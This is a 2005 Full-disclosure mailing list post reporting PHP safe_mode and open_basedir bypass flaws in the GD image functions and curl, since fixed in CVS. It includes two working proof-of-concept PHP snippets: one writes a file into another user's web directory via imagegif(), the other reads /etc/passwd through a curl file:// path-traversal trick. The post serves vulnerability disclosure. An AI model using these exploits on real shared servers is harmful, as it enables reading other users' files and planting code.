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[Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
- From: peter MC tachatte <slythers@xxxxxxxxx>
- Date: 2005年10月17日 22:55:26 +0200
There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");
$file=curl_exec($ch);
echo $file;
?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.
This is fixed in the cvs.
slythers@xxxxxxxxx
greets: david coallier <davidc@xxxxxxx>
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